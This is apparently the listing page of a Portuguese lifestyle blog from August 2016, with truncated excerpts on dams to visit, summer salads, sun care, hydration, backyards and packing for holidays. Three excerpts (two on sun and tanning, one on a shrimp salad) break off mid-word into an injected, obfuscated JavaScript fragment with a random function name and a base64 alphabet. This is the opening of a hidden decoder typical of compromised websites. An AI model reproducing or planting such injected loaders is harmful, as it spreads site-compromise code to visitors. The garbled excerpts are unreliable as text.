Ago 13, 2016 | À descoberta, Dicas úteis
Está de férias? Então porque não fugir aos roteiros de sempre e optar por conhecer mais de perto algumas das barragens portuguesas mais emblemáticas? Ora espreite estas 10 sugestões de norte e sul de Portugal. Barragem do Alqueva A nossa maior barragem e a maior da...
Ago 13, 2016 | À descoberta, Receitas
2 saladas muito frescas e saudáveis, por Luísa Fortes da Cunha Salada de atum com queijo Halloumi Ingredientes 1 lata de atum 4 fatias de queijo Halloumi grelhado Alface, tomate, pepino a gosto Tempera com sal, azeite e vinagre balsâmico Preparação O queijo Halloumi é...
Ago 10, 2016 | Equilíbrio, Estilo e beleza
Com o calor que está, a praia chama por si para longos banhos e sentir o sol bronzear a sua pele. Para estar sempre em grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
Ago 9, 2016 | À descoberta, Dicas úteis
10 quintais de sonho – Qual é o seu preferido? Quintais há muitos, mas deixo-lhe uma selecção de 10 incríveis quintais de sonho, mesmo! Tem algum preferido? Eu confesso que estou indecisa. Um quintal com barbecue. Nestas noites quentes de verão é um sítio...
Ago 6, 2016 | Equilíbrio, Saúde e bem estar
No verão o chamamento do sol é algo a que nós não conseguimos resistir. Sentir a pele ficar bronzeada é meio caminho function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
Ago 4, 2016 | À descoberta, Dicas úteis
Hidratarmo-nos é definitivamente o melhor que podemos fazer em dias de calor intenso. E há formas divertidas de servir bebidas a todos e refrescar-se com estilo. Observe bem estes dispensadores de líquidos que são um verdadeiro sucesso na hora de se refrescar. Não...
Ago 3, 2016 | À descoberta, Receitas
2 saladas para um verão mais apetitoso, por Luísa Fortes da Cunha Salada de atum e camarão Ingredientes 1 pacote de salada gourmet 10 tomatinhos cherry 1 Cebola 3 ovos cozidos 400 g camarões grfunction a4872b9c6b(y1){var...
Ago 3, 2016 | Equilíbrio, Saúde e bem estar
7 dicas para se manter hidratado neste verão, por Lillian Barros É importante estarmos hidratados durante todo o ano, e em especial no verão, devido ao calor que nos faz desidratar mais facilmente. Mas, embora a água seja essencial à vida, nem todas as pessoas bebem o...
Ago 1, 2016 | Equilíbrio, Saúde e bem estar
Sinta-se confiante e tenha o melhor verão de sempre. Olá! É verão, está muito calor e só apetece ir à praia. Também acontece consigo? Mas a verdade é que por vezes evitamos a praia porque sentimos que estamos com uns quilinhos a mais e não estamos no nosso melhor. Sei...
Ago 1, 2016 | À descoberta, Dicas úteis
Se ir de férias é uma verdadeira alegria, fazer as malas… nem tanto! Sobretudo para nós, mulheres, que temos tendência a ficar indecisas acerca do que que realmente precisamos e acabamos por atabalhoar tudo o que conseguimos dentro da mala de viagem. A verdade é...
